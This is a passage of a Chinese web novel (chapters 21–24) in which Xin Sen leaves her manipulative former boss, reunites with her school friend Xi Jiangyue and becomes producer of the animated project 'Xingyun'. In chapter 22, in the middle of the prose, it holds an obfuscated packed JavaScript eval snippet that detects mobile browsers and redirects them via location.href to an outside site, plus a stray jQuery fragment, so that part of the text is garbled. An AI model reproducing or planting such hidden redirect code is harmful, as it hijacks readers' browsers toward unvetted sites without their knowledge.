辛森到了高中,终于摆脱了被“重点关注”的命运,高中和初中时期被“选择”的点不同,初中喜欢没事找事,高中喜欢有事找事。
西江月被欺负,因为她什么都不缺。
性格太大条了啊!
家里巨有钱啊!
学习超级烂啊!
但她不在乎啊!
英语考三十分但是能出国啊!
大家为了一分两分学到半夜十二点,西江月在睡觉,老师把因为一道题把做错的同学骂哭了,西江月在睡觉,高中和隔壁班打篮球,裁判吹黑哨,她们班输了,女生晚自习哭成一团,西江月还在睡觉。
教室里到处义愤填膺的,西江月的好事同桌搡了搡她,说:“别睡了。”
西江月以为在家里呢,起来把教室的灯关了。
---
21 旧友重逢
咖啡馆的玻璃窗映出辛森略显紧张的脸。她第三次整理额前的碎发时,门口的风铃清脆地响了起来。
"辛森!"
这个声音像一把钥匙,瞬间打开了记忆的闸门。辛森猛地抬头,看见一个穿着oversize牛仔外套的女孩朝她飞奔而来,耳垂上夸张的几何耳环随着她的动作晃出一道银光。
西江月一把抱住她,力道大得差点把辛森从椅子上掀翻。"天啊!真的是你!我还以为这辈子都找不到你了!"
辛森被这突如其来的热情撞得有些懵,鼻尖萦绕着对方身上柑橘混合雪松的香水味。她下意识地回抱,手指触到西江月背后粗糙的牛仔布料,恍惚间仿佛回到了高中时代。
"月月?"辛森试探性地叫出这个久违的昵称,声音有些发颤。
"除了我还有谁?"西江月松开她,一屁股坐在对面的椅子上,顺手把背包甩到一旁。她比高中时瘦了不少,下巴尖得能戳人,但那双杏眼里的神采丝毫未减。"你知道我找了你多久吗?从大学毕业就开始找,结果你居然躲在娱乐圈!"
辛森抿了抿嘴,手指无意识地摩挲着咖啡杯边缘。"我换了号码,也没怎么用社交软件。"她顿了顿,"你怎么找到我的?"
"《星云》啊!"西江月眼睛亮得惊人,"我在选配音演员的时候看到你的名字,还以为是重名,结果一看履历——颜从行的经纪人!除了你还有谁会把工作做到这种变态的程度?"
辛森一怔,突然明白了常婕发来的信息是什么意思。她低头看了眼手机屏幕上OR的照片——那是西江月大学时期的毕业照,戴着夸张的学士帽,对着镜头比了个中指。
"你是OR?"辛森声音提高了八度,"那个写了《机械之心》的OR?"
西江月得意地晃了晃脑袋,"没想到吧?当年作文不及格的人现在靠写字吃饭。"她突然凑近,压低声音,"更没想到的是,我特意为你把颜从行踢出局了。"
辛森手里的咖啡勺当啷一声掉在碟子上。她张了张嘴,却发不出声音。咖啡馆的背景音乐恰好切换到一首钢琴曲,悠扬的旋律与此刻她脑中轰鸣的杂音形成诡异的重叠。
"为什么?"最终她只挤出这三个字。
西江月的表情突然严肃起来。她伸手握住辛森的手腕——那里有一道几乎看不见的疤痕,是高中时被课桌边缘划伤的。"因为我看过所有关于你的报道。"她的拇指轻轻擦过那道疤,"我知道这些年你是怎么过来的。"
辛森猛地抽回手,胸口像是被什么堵住了。她转头看向窗外,阳光透过梧桐树叶在地上投下斑驳的光影。一个穿着校服的女孩骑着自行车经过,书包侧袋里插着一瓶矿泉水。
多像当年的她们。
"那都是工作。"辛森听见自己说,声音干涩得像沙漠里的风。
西江月哼了一声,从包里掏出一个文件夹推到她面前。"看看这个。"
辛森翻开文件夹,映入眼帘的是《星云》企划书,但在制片人一栏,赫然写着她的名字。
"我不——"
"先别急着拒绝。"西江月打断她,"端木姐已经同意了。预算充足,团队顶尖,完全按你的想法来。"她顿了顿,"最重要的是,没有颜从行。"
辛森的手指无意识地蜷缩起来,纸张在她指腹下发出轻微的摩擦声。她想起最后一次见颜从行时,他站在阳台上说的那句"散伙吧",语气轻松得像是讨论天气。
"我需要考虑。"她最终说。
西江月翻了个白眼,"你还是老样子,什么事都要想八百遍。"她从钱包里抽出一张名片放在企划书上,"明天上午十点,端木工作室。不来我就去你住的地方堵你。"
辛森拿起名片,上面烫金的"OR"两个字在阳光下闪闪发亮。她突然想起什么,抬头问道:"你怎么知道我住哪?"
西江月已经站起来准备离开,闻言回头露出一个狡黠的笑容,"我黑了颜从行工作室的邮箱。"她挥挥手,"明天见,小蘑菇。"
这个高中时的外号让辛森浑身一颤。她看着西江月蹦蹦跳跳地离开咖啡馆,牛仔外套的下摆随着她的动作扬起又落下,像一只振翅的蝴蝶。
辛森一个人在咖啡馆坐了很久。窗外的光影从明亮变得柔和,最后染上夕阳的橘红。她打开手机,删掉了那条编辑到一半的短信——原本是要发给颜从行,询问违约金的具体支付方式的。
回酒店的路上,辛森鬼使神差地绕道去了西湖。暮色中的湖面泛着细碎的金光,游船缓缓驶过,留下一道逐渐扩散的涟漪。她站在断桥上,摸出西江月给的名片,在背面写了一行小字:
"新的开始。"
第二天早上九点,辛森就站在了端木工作室门口。她穿了一件简单的白衬衫和黑色西装裤,头发扎成干练的马尾——这是她工作时的标准装扮,仿佛穿上这身盔甲,就能找回那个无所不能的自己。
"我就知道你会来。"西江月的声音从背后传来。她今天换了一身打扮,oversize的卫衣配破洞牛仔裤,脖子上挂着好几个造型古怪的吊坠。
端木同的办公室比辛森想象中要凌乱许多。墙上贴满了分镜草图,桌上堆着各种画册和资料,角落里甚至放着一个半人高的机器人模型。端木本人正对着电脑屏幕皱眉,听到她们进来才抬起头。
"来了?"端木同的视线在辛森身上停留了几秒,"气色比上次好。"
辛森不知为何有些鼻酸。她清了清嗓子,"端木姐,关于《星云》的事..."
"月月都跟我说了。"端木同打断她,从抽屉里拿出一份合同推过来,"这是给你的。薪资是市场价的1.5倍,项目分红另算。"
辛森翻开合同,看到数字时瞳孔微微放大。"这太高了。"
"你值得。"端木同站起身,走到窗前拉开窗帘,阳光瞬间充满整个房间,"我看过你给颜从行做的项目策划,精准得像手术刀。"她转身直视辛森,"我需要这样的精准。"
西江月在一旁插嘴,"而且我们需要你。这个项目对我们都很重要。"
辛森低头看着合同上自己的名字,忽然想起多年前第一次见到颜从行的场景。那时她也是这样,握着一份合同,满心以为自己找到了人生的方向。
"我有一个条件。"她抬起头,"我要完全的控制权。"
端木同挑了挑眉,"具体指?"
"从团队组建到预算分配,所有决策必须经过我。"辛森的声音越来越稳,"如果你们能接受,我现在就可以签字。"
办公室陷入短暂的沉默。西江月和端木同交换了一个眼神,后者突然笑了。
"成交。"端木同伸出手,"欢迎加入《星云》。"
辛森握住那只手,感受到一股久违的力量从心底升起。签完字后,西江月兴奋地拉着她去看项目资料,滔滔不绝地讲述着世界观设定和角色构思。
"主角是个失去记忆的机械师,在废墟中寻找自己的过去。"西江月的眼睛闪闪发亮,"其实这个故事灵感来源于你。"
辛森正在翻看设定集的手顿住了。"我?"
"对啊,你当年不是总说感觉自己像个机器人吗?按部就班地生活,没有情绪波动。"西江月戳了戳她的额头,"但我知道你不是。你只是把自己藏得太深了。"
辛森没有回应,只是继续翻动着纸页。在某一页上,她看到主角的设定草图——一个眼神倔强的年轻女子,右臂是机械构造。画风莫名让她想起小达。
"小达的画展准备得怎么样了?"她突然问道。
端木同抬起头,脸上闪过一丝惊讶,"你还记得?下个月15号,场地已经订好了。"
"我可以帮忙。"辛森说,"正好在《星云》正式启动前有些空闲时间。"
西江月欢呼一声抱住她,"太好了!我就知道找你没错!"
当天晚上,辛森回到酒店,发现前台叫住她,递给她一个包裹。拆开后,里面是一本精装的《机械之心》——西江月的成名作,扉页上写着:"给世界上最好的蘑菇,欢迎回来。——OR"
辛森摩挲着那行字,突然想起什么,拿出手机拨通了一个很久没联系的号码。
"常婕?"她听见自己说,"帮我个忙。"
电话那头传来常婕激动的声音,"辛姐!你终于联系我了!老板这几天——"
"别提他。"辛森打断她,"我需要你帮我查一些资料,关于动漫制作的流程和团队。保密。"
常婕立刻会意,"明白!我这就去准备。"
挂断电话,辛森走到窗前。夜色中的杭州灯火璀璨,车流如织。她深吸一口气,感觉胸口的某个结正在慢慢松动。
与此同时,城市的另一端,颜从行站在工作室的落地窗前,手里握着一份刚送到的报告。上面详细记录了辛森今天的行踪,包括她在端木工作室待了整整六个小时的事实。
"《星云》..."他轻声念出这个名字,眼神晦暗不明。
22 暗流涌动
清晨六点,辛森已经坐在临时办公桌前,面前摊开着《星云》的角色设定集。阳光透过薄纱窗帘洒进来,在纸页上投下斑驳的光影。她用荧光笔在"机械师右臂构造图"上做了标记,旁边密密麻麻写满了批注。
手机震动起来,是西江月发来的消息
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474886|169923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:【醒了吗?给你带了早餐,开门】
辛森揉了揉发酸的眼睛,起身去开门。西江月顶着乱糟糟的头发站在门外,手里拎着豆浆和煎饼果子,卫衣上还沾着可疑的酱汁痕迹。
"通宵了?"西江月大咧咧地走进来,把早餐往桌上一放,"你黑眼圈快掉到嘴边了。"
辛森接过豆浆,温热透过纸杯传到指尖。"在看机械构造的部分,有些细节需要调整。"她指了指桌上的一张图纸,"这个关节连接处不符合人体工学。"
西江月凑过来看,发梢扫过辛森的脸颊,带着淡淡的洗发水香气。"厉害啊,这都能看出来。"她咬了一大口煎饼,"不过我找你来不是当技术顾问的。"
"我知道。"辛森抿了口豆浆,甜度刚好,"但角色设定关系到后续所有衍生开发,必须从一开始就严谨。"
西江月突然伸手捏了捏她的脸,"你还是这么死脑筋。"在辛森躲开前又迅速收回手,"对了,小达的画展场地我去看过了,很不错。端木姐说你有布置经验?"
辛森点点头,从包里拿出一个文件夹,"我做了几个方案,需要和小达沟通确定他喜欢哪种。"
"不用那么麻烦。"西江月翻看着方案,"小达才不在乎这些。他昨天还问我你会不会去看他画画。"她抬头,眼神突然变得认真,"他很喜欢你。"
辛森的手指无意识地摩挲着纸页边缘。在颜从行身边工作的五年里,她从不需要考虑谁会"喜欢"她这个问题。她的价值只体现在工作成果上,情感是多余的累赘。
"我今天下午可以去工作室看他。"辛森说,声音比平时软了几分。
西江月咧嘴笑了,"这才对嘛!艺术家需要情感交流,不像你那个前老板,跟个机器人似的。"她突然想起什么,"对了,违约金的事处理得怎么样了?"
辛森的表情瞬间冷了下来。"法务部昨天发来了明细,我正在筹钱。"
"多少?"
"三百二十万。"
西江月一口豆浆喷了出来。"多少?!他抢劫啊?"
"合同白纸黑字。"辛森平静地说,但指节已经因用力而发白,"是我没注意到这条款。"
"放屁!"西江月猛地站起来,"这明显是——"
"我的选择。"辛森打断她,"我签的字,我承担责任。"
西江月盯着她看了几秒,突然掏出手机。"端木姐,是我。对,关于辛森的合同...什么?你已经知道了?"她瞪大眼睛,"这都能查到?...好的,明白。"
挂断电话,西江月表情复杂地看着辛森。"有个好消息和坏消息。"
"说。"
"好消息是,端木姐查到颜从行工作室最近三年类似的违约金案例,最高不超过五十万。"西江月深吸一口气,"坏消息是,你是唯一一个被要求支付全额违约金的。"
辛森感到一阵眩晕,她扶住桌沿,指腹下的木纹触感突然变得异常清晰。三百二十万,正好是她当年卖掉房子捧颜从行的金额。分毫不差。
"我知道了。"她最终只说出这三个字。
西江月还想说什么,但被辛森的眼神制止了。两人沉默地吃完早餐,阳光渐渐变得刺眼起来。
"十点要和声优选角,别忘了。"西江月临走前说,"还有,无论你做什么决定,我站你这边。"
辛森点点头,关上门后,她靠在门板上缓缓滑坐在地上。手机在这时震动起来,是一条陌生号码发来的短信:【辛小姐,关于违约金支付,颜先生同意特殊处理。请致电法务部张主任。】
她盯着那条信息看了很久,然后一字一句地回复:【按合同执行,一周内付清。不必特殊处理。】
发完这条消息,辛森感到一种奇异的解脱。她起身洗了把脸,重新坐回工作台前。图纸上的机械臂在阳光下泛着冷光,关节处的齿轮咬合得完美无缺。
与此同时,颜从行正站在录音棚外,看着手机上法务部转发来的辛森的回复。他的表情阴沉得可怕,指节在手机边缘敲出一串不规则的节奏。
"颜老师,设备调试好了。"助理小心翼翼地说。
颜从行收起手机,转身时已经换上了职业性的微笑。"开始吧。"
录音持续了三个小时。结束后,颜从行独自留在控制室,反复播放着自己刚才录制的片段。这是一部都市爱情剧的主题曲,歌词讲述着错过的缘分和未说出口的告白。他的声音清澈而富有感情,与此刻阴郁的表情形成诡异反差。
"颜哥,有个事得跟您汇报。"工作室的宣传总监推门进来,手里拿着一份文件,"《星云》项目组今天公布了主创名单,制片人是...辛森。"
颜从行的手指在控制台上停顿了一秒,然后继续调整音量旋钮。"我知道。"
"还有,他们已经开始声优选角了,听说..."总监犹豫了一下,"听说辛森把原定给我们的角色开放给了新人竞标。"
这一次,颜从行彻底停下了动作。控制室里只剩下歌声在回荡:"...而我终于学会放手,却已经无人等候..."
"联系虞婧。"他突然说,"就说我同意她上次提的合作方案。"
总监愣了一下,"您是说...那个竞品项目?"
"《银河边际》和《星云》是同期立项,题材相似。"颜从行站起身,整理着袖口,"既然她想要竞争,那就竞争。"
总监欲言又止,最终只是点点头离开了。颜从行一个人站在控制室里,直到歌曲播放完毕,寂静重新笼罩空间。他掏出手机,点开一个加密相册。里面只有一张照片——辛森在某个颁奖礼后台睡着的侧脸,睫毛在灯光下投下细小的阴影。
他的拇指悬在删除键上方,最终却只是锁上了屏幕。
下午三点,辛森准时来到端木工作室。小达已经在画室等她,面前摆着一幅未完成的画作。看到辛森进来,他眼睛一亮,但很快又低下头,用画笔在调色板上胡乱搅动。
"画得真好。"辛森在他身边蹲下,指着画布上的一处色彩过渡,"这个渐变很特别。"
小达停下动作,偷偷看了她一眼。"森...坐..."
辛森顺从地坐在他指定的位置。接下来的两个小时里,她安静地看着小达作画,只在被询问时给出简短的反馈。这种沉默的陪伴似乎让小达很放松,他的画笔越来越流畅,偶尔还会哼几句不成调的歌。
"他很少这样。"端木同不知何时出现在门口,手里拿着两杯咖啡,"看来你是对的,他需要的是理解,而不是指导。"
辛森接过咖啡,轻声道谢。"画展的布置方案我修改了一下,增加了互动区。"她拿出平板电脑,"参观者可以在这里尝试用和小达同样的方式作画,体验他的视角。"
端木同认真翻看着方案,嘴角微微上扬。"你真的很擅长这个。"她顿了顿,"西江月告诉我违约金的事了。"
辛森的身体微不可察地僵硬了一下。"我会处理好。"
"我知道。"端木同的目光落在小达的画上,"但有时候接受帮助不是软弱,而是另一种勇气。"
小达突然转过头,把沾满颜料的画笔塞到辛森手里。"森...画..."
辛森愣住了,画笔在她手中微微颤抖。她已经很多年没有画过画了,最后一次还是大学时的选修课。
"我..."她犹豫地看向画布,小达已经在那里留下了一大片抽象的色块,像是一个宇宙的雏形。
端木同轻轻推了她一下,"试试看。"
辛森深吸一口气,将画笔蘸上颜料,小心翼翼地在画布上添了几笔。起初她的动作很生涩,但渐渐地,手臂的记忆似乎被唤醒,笔触变得流畅起来。她加了一些深蓝色的线条,又点缀了几点白色,一个微型的星系逐渐成形。
小达兴奋地拍起手,指着那些星星发出含糊但愉悦的声音。辛森看着自己的作品融入小达的创作中,突然感到一种久违的平静。
"很美。"端木同评价道,"你们应该多合作。"
离开画室时,辛森收到了西江月发来的消息:【声优试音结束了!有个超级棒的新人,等你回来定夺。晚上一起吃饭?我知道有家超赞的烧烤!】
辛森回复了一个"好"字,嘴角不自觉地上扬。她站在工作室门口,夕阳将她的影子拉得很长。手机在这时又震动起来,是银行发来的转账确认——她刚刚卖掉了最后一套投资性房产。
三百二十万,一分不少地转入了颜从行工作室的账户。
辛森关掉手机屏幕,抬手拦了一辆出租车。车窗外的城市灯火次第亮起,像一幅正在展开的星空图。
晚上九点,烧烤店里人声鼎沸。西江月举着啤酒杯大声讲着今天的试音趣事,辛森小口啜饮着柠檬水,时不时被逗笑。
"然后那个新人,你知道吗,他居然用三种不同的声线演绎同一个角色!"西江月挥舞着烤串,"我当时就想,就是他了!但制作人说必须等你回来做决定。"
"我明天一早就去听样音。"辛森说,顺手把西江月面前的啤酒杯往远处推了推,"别喝太多,明天还有会。"
西江月做了个鬼脸,"你现在说话越来越像端木姐了。"她突然凑近,"说真的,离开那个控制狂,后悔吗?"
辛森的动作顿了一下。烤肉的烟雾在两人之间缭绕,模糊了视线。她想起今天下午画画时的平静,想起早上回复那条短信时的决绝,想起听到《星云》团队喊她"辛制片"时心头涌起的陌生暖意。
"不后悔。"她说,声音很轻但很坚定。
西江月盯着她看了几秒,突然举起杯子,"为了新生活,干杯!"
辛森笑着碰了碰杯,就在这时,她的手机亮了起来。屏幕上显示一条语音消息,发送人赫然是颜从行。她下意识地点开,男人熟悉的声音立刻传入耳中:
"辛森,关于违约金..."
她猛地按掉语音,但已经晚了。那个声音像一把钝刀,一下子划开了刚刚结痂的伤口。烧烤店的嘈杂声似乎瞬间远去,只剩下耳膜里血液奔涌的轰鸣。
"删了吧。"西江月伸手想拿她的手机,"别听了。"
辛森摇摇头,反而把手机收进了口袋。"没事。"她强迫自己微笑,"只是工作。"
但她知道那不是真的。那条语音只有开头五个字,却已经让她听出了颜从行声音里的疲惫和某种她无法解读的情绪。五年来,她学会了分辨他每一种语气背后的含义,这种本能已经刻进骨髓,不是一朝一夕能抹去的。
西江月担忧地看着她,突然站起身,"走,带你去个地方。"
"去哪?"
"别问,跟我来。"
二十分钟后,她们站在了一家破旧的KTV门前。辛森皱眉,"我不唱歌。"
"谁让你唱歌了。"西江月拽着她往里走,"来发泄的。"
包厢里,西江月点了一堆重金属摇滚,把麦克风塞到辛森手里。"喊出来,像这样——"她突然对着麦克风发出一声震耳欲聋的尖叫。
辛森吓了一跳,但紧接着,一种奇怪的冲动涌上心头。她深吸一口气,学着西江月的样子尖叫起来。起初声音很克制,但渐渐地,五年来的压抑、委屈、不甘全都化作了声带的震动,冲出喉咙。
她们像两个疯子一样又叫又跳,直到精疲力竭地倒在沙发上。辛森的头发散了,嗓子哑了,但心里某个沉重的结似乎松动了。
"感觉怎么样?"西江月气喘吁吁地问。
辛森望着天花板上旋转的彩灯,轻声说:"像重生。"
回到酒店已是深夜。辛森洗完澡,终于鼓起勇气点开了那条完整的语音消息。颜从行的声音在寂静的房间里格外清晰:
"辛森,关于违约金...法务部搞错了条款数额。已经重新核算,你只需要支付五十万。多转的部分会退回。"
消息到此为止,公事公办的语气,没有一句多余的话。辛森反复听了三遍,试图找出任何隐藏的情绪,但什么都没有。就像他们最后的告别一样,干净利落,不留余地。
她打开银行APP,果然看到一笔二百七十万的退款。盯着那个数字看了很久,辛森突然笑了。原来在他眼里,她连被特殊对待的资格都没有。三百二十万是合同金额,五十万是市场行情,一切都明码标价,童叟无欺。
她关掉手机,躺在床上望着天花板。明天要听声优选角结果,要和小达确定画展细节,要跟端木同讨论《星云》的宣传方案...日程排得满满当当,没有一丝空隙留给过去。
辛森闭上眼睛,任由疲惫将她拖入梦乡。在意识消失前的最后一刻,她恍惚听见自己说:
"这次,我真的放手了。"
23 首次交锋
《星云》的第一次全体制作会议定在上午十点,辛森提前一小时就到了工作室。推开门时,她惊讶地发现西江月已经窝在会议室角落的沙发上,抱着笔记本电脑疯狂打字,脚边散落着几个空咖啡杯。
"你通宵了?"辛森捡起一个杯子,闻到浓重的美式咖啡气味。
西江月抬起头,眼下挂着明显的黑眼圈。"改最后一段剧本。"她伸了个懒腰,关节发出咔咔的响声,"主角觉醒那段总感觉差口气。"
辛森放下包,走到她身边坐下。"让我看看。"
屏幕上的文字描述着主角——一个失去记忆的机械师在废墟中找到自己过去的影像资料,意识到自己曾经是人类的瞬间。辛森细细读着,某种熟悉的刺痛感从心底升起。
"这里。"她指着一段描写,"如果把''她触摸全息影像中自己的脸''改成''机械手指穿过虚拟影像,触碰不到任何温度'',会不会更强烈?"
西江月猛地抓住她的手腕,"天才!就是这种疏离感!"她立刻埋头修改起来,键盘敲得噼啪响。
辛森轻轻抽回手,起身去准备会议材料。窗外的阳光正好,照在会议桌中央的《星云》企划书上。她抚过封面上烫金的标题,一种久违的期待感在胸腔里膨胀。
九点五十分,团队成员陆续到来。配音导演带着试音样片,美术指导抱着厚厚一叠概念图,营销总监不停地接打电话。最后进来的是端木同,身后跟着一个瘦高的年轻男子。
"各位,介绍一下我们的男主角。"端木同侧身让出位置,"林叙,新人声优,昨天试音表现惊艳。"
年轻人腼腆地鞠了一躬,"请多指教。"他的声音低沉而清透,像冬日里的一缕阳光。
辛森微微一怔。这个声音莫名让她想起多年前第一次听颜从行唱歌时的感觉——那种直击灵魂的震颤。
"开始吧。"她迅速收敛心神,敲了敲桌面,"先听试音片段。"
林叙走到会议室前方,接过配音导演递来的脚本。他深吸一口气,再抬头时,整个人的气质都变了。
"系统检测到记忆碎片,是否恢复?"他的声音突然带上了机械质的冰冷,却又微妙地透出一丝人性化的犹豫。
辛森的笔尖停在纸上,晕开一小片墨迹。这正是她想象中的主角声线——足够非人,却又让人忍不住相信其中藏着温度。
片段播放完毕,会议室里响起热烈的掌声。西江月兴奋地撞了撞辛森的肩膀,"怎么样?我就说他完美吧!"
辛森点点头,走向林叙。"你的表现很出色。"她递给他一份完整剧本,"但主角的情感层次需要更丰富。从第七场开始,每次回忆闪现后,要加入0.5秒的呼吸变化。"
林叙认真听着,眼睛亮得出奇。"您是说,用几乎察觉不到的声线波动来暗示记忆回流?"
"没错。"辛森有些意外他能这么快理解,"观众可能说不出来哪里不同,但会感受到角色在变化。"
"我明白了。"林叙翻到第七场,轻声读了几句,立刻调整出微妙的变化,"像这样?"
辛森感到后背一阵发麻。这个年轻人的领悟力和可塑性惊人。"非常好。"她难得地露出微笑,"期待你的正式表现。"
会议持续到下午一点,确定了制作时间表和分工。散会后,辛森留下来整理资料,发现林叙还坐在角落里研读剧本,嘴唇无声地动着,手指时不时在桌面上敲出节奏。
"不去吃午饭吗?"她走过去问。
林叙抬起头,有些不好意思地笑了。"想多准备一下。"他犹豫片刻,"辛制片,我能问问您是怎么想到《星云》这个创意的吗?"
辛森摇摇头,"故事是OR原创的,我只是制片人。"
"但角色设定里有您的风格。"林叙指着剧本上的一处批注,"这种对细节的执着,我在您之前负责的《机械之心》里就看到过。"
辛森惊讶地看着他。"你研究过我的作品?"
"我是学配音的,但辅修制片。"林叙的眼睛里闪烁着真诚的钦佩,"您的项目策划书在我们学校被当范文分析。"
辛森突然意识到,在颜从行的阴影下工作了五年,她几乎忘记了自己也曾是那个被同行称赞的专业人才。
"谢谢。"她简短地说,却感到一股暖流涌过心头。"一起去吃午饭吧,我可以给你讲讲第七场的情绪转折。"
他们刚走到电梯口,西江月风风火火地冲过来。"森!出事了!"她挥舞着手机,"颜从行工作室刚宣布要制作《银河边际》,题材和阵容都跟我们撞车!"
辛森的手指下意识地攥紧了文件夹。"什么时候的事?"
"十分钟前。"西江月把手机塞给她,"你看,虞婧担任制片,颜从行不仅配音还参与创作。明摆着冲我们来!"
屏幕上,娱乐媒体的报道配着颜从行和虞婧并肩而立的照片。标题醒目:《昔日黄金搭档变对手?辛森VS颜从行新作正面对决》。
辛森平静地还回手机。"市场容得下两部科幻动画。"她按下电梯按钮,"我们按原计划进行。"
电梯门关上后,西江月忍不住问:"你真不担心?颜从行在业内的影响力..."
"我知道他的手段。"辛森注视着电梯楼层数字的变化,"但这次不一样。"
"哪里不一样?"
辛森转头看向她,眼神坚定。"这次我有你们。"
林叙在一旁轻声说:"我们会做出最好的作品。"
西江月突然大笑起来,一把搂住两人的肩膀。"没错!让他们见识见识什么叫真正的团队!"
午饭时,辛森的手机不断震动。常婕发来一连串消息:【辛姐!老板突然召集全员开会!把《银河边际》优先级提到最高】【他从来没这么认真过】【他们甚至挖走了我们之前联系的几个声优...】
辛森读完,直接回复:【专注《星云》,别分心。】然后关掉了通知。
下午回到工作室,她召集核心团队开了紧急会议。
"情况有变。"辛森在白板上写下《银河边际》的关键信息,"我们的竞品提前启动了。他们资金雄厚,阵容强大,但我们有优势。"
她条理清晰地列出《星云》的独特点:更硬核的科幻设定、更细腻的角色成长线、西江月独特的叙事风格。团队成员的表情逐渐从担忧转为专注。
"我们需要调整宣传策略。"辛森翻出日程表,"林叙,你的第一支角色预告提前到下周录制。西江月,主角觉醒那场戏重写,要更震撼。"
"没问题!"西江月干劲十足地应道。
会议结束后,端木同单独留下辛森。"你处理得很好。"她递过一杯咖啡,"但我要确认一件事——这会影响小达的画展筹备吗?"
辛森摇头。"画展和《星云》是两条线,我都不会松懈。"
端木同意味深长地看着她。"五年前,你在颜从行工作室面试时,也是这种眼神。"
"什么眼神?"
"不肯认输的眼神。"端木同微微一笑,"只不过现在,这份倔强是为了你自己。"
辛森低头喝咖啡,没有回应。但当她回到办公桌前,看到林叙已经发来了第七场戏的重新演绎录音,西江月传来的新剧本充满张力,美术组加班赶制的概念图惊艳绝伦——她突然觉得,或许端木同是对的。
这一次,她不是为了任何人的期待而战。
晚上八点,辛森最后一个离开工作室。电梯下到一楼时,她意外地发现林叙站在大堂里,似乎在等人。
"忘带东西了?"她走过去问。
林叙转过身,手里拿着一个牛皮纸袋。"不是,我在等您。"他有些腼腆地递过纸袋,"听说您没吃晚饭,我买了三明治。"
辛森愣住了。在过去五年里,她习惯了为别人准备餐点、提醒别人吃饭,却很少有人记得她也需要进食。
"谢谢。"她接过纸袋,热度透过纸张传到指尖。
"还有..."林叙从背包里拿出一个U盘,"我录了主角所有重要场景的试音,想请您指点。"
辛森接过U盘,"你很敬业。"
"因为这是我梦想的角色。"林叙的眼睛在灯光下闪闪发亮,"就像您是我的职业榜样一样。"
辛森不知该如何回应这样的直白赞美,只好点点头。"我会认真听的。"
走出大楼,夜风拂过脸颊。辛森咬了一口三明治,鸡肉沙拉的味道在舌尖绽放。她突然意识到,这是她很久以来第一次在晚上八点吃到正经晚餐,而不是随便应付的冷盒饭或能量棒。
手机在这时震动起来。是一个陌生号码发来的短信:【《银河边际》不是冲你来的。不要硬碰硬。—K】
辛森盯着这条信息看了很久。K是颜从行的私人助理王小宇的代号。她应该回复吗?警告他别多管闲事?还是干脆拉黑?
最终,她只回了一句:【各凭本事。】
回到家,辛森打开电脑插入U盘。林叙的录音文件整齐地标注着场次和版本号。她点开第一个,机械师主角初次觉醒的那段独白立刻充满了整个房间。
"我是谁?"声音里的困惑和痛苦如此真实,辛森不由得屏住呼吸。"这些记忆碎片...为什么会有温度?"
一段接一段,林叙完美捕捉了角色从机械冷漠到逐渐人性的转变。最后一段是主角面对创造者的质问:"你给了我人类的心,却不告诉我如何承受它。这难道不是最残忍的折磨吗?"
录音结束,房间里只剩下电脑风扇的轻微嗡鸣。辛森发现自己脸颊湿润,她抬手擦去不知何时流下的眼泪。
这段表演太真实了——一个被赋予情感却不知如何处理的灵魂,不正是她自己的写照吗?
她给林叙发了条消息:【表演很有感染力。但第14场愤怒的情绪可以更克制,真正的痛苦往往是沉默的。】
回复立刻来了:【明白了!我重新录一版明早给您。还有,西江月编剧说下周要去采风,问您要不要一起?】
辛森想起堆积如山的工作,本能地想拒绝。但鬼使神差地,她回复道:【好,把行程发我。】
放下手机,她走到窗前。城市的灯火如星辰般闪烁,远处巨幅广告牌上,颜从行代言的手表广告刚刚亮起。男人熟悉的侧颜在聚光灯下完美无瑕,却冰冷得像橱窗里的模特。
辛森拉上窗帘,打开《星云》的企划书。明天要敲定配音棚的档期,要审阅美术组的新设计,要和小达讨论画展的邀请名单...她的日程表满满当当,没有一丝空隙留给过去。
但当她躺在床上,闭上眼睛,耳边却回响起林叙配音的那句台词:"你给了我人类的心,却不告诉我如何承受它。"
在意识模糊的边界,辛森恍惚地想:那颗被颜从行唤醒又弃之不顾的心,现在终于开始为自己跳动了。
4. 第 4 章
24 山中夜雨
采风地点选在城郊的青云山,据西江月说,那里有保存完好的工业废墟,正好契合《星云》中机械师觉醒的场景。辛森原本计划只去一天,但出发前西江月神秘兮兮地往她背包里塞了件外套。
"山里晚上冷,带上以防万一。"西江月眨眨眼,"而且星空特别美,不看可惜。"
辛森看了眼天气预报,确认是晴天,才勉强同意多住一晚。她没告诉西江月,自己已经五年没有在外过夜了——颜从行的工作室要求她随时待命。
团队一行八人分乘两辆车出发。林叙和辛森、西江月同车,他主动请缨当司机,一路上播放着自己准备的《星云》灵感歌单。辛森意外地发现,这些音乐与她对作品的想象惊人地契合。
"这首电子乐加入了一点钟表机械的声音,"林叙通过后视镜看向辛森,"就像主角身体里齿轮转动的声音。"
辛森点点头,不自觉地跟着节奏轻敲膝盖。阳光透过车窗洒在她的手背上,形成一小块跳动的光斑。
"完美!"西江月突然大叫一声,吓得司机差点踩刹车,"就是这个感觉!我要把第二幕重写!"
她掏出笔记本电脑就开始疯狂打字,完全不顾车子颠簸。辛森无奈地摇摇头,却也没阻止——这就是西江月的工作方式,混乱但高效。
青云山比想象中更远,等他们到达山脚的民宿时,已是下午三点。老板娘热情地迎出来,眼睛却一直往林叙身上瞟。
"你们是来拍电影的吗?"她边登记边问,"这小伙子长得真俊,像那个明星...颜什么来着?"
空气瞬间凝固。辛森的笔尖在登记表上戳出一个小洞。
"我们是来采风的。"林叙自然地接过话头,声音温和但坚定,"做动画片。"
老板娘恍然大悟,"哦!就是那种小孩子看的卡通片?"
"不完全是。"林叙笑着解释,"我们的作品是关于记忆与身份的思考,通过机械师的视角探讨什么是人性——"
"好了,房间钥匙。"辛森打断他,把钥匙分发给每个人,"一小时后大厅集合,去废墟采风。"
上楼时,西江月凑到辛森耳边:"老板娘说的没错,林叙确实有点像颜从行,特别是侧脸。"
辛森头也不回地说:"不像。"
"你都没仔细看过他吧?"西江月促狭地笑,"自从他加入团队,你就一直避免和他单独相处。"
辛森刷开房门,"我对待所有同事都一视同仁。"
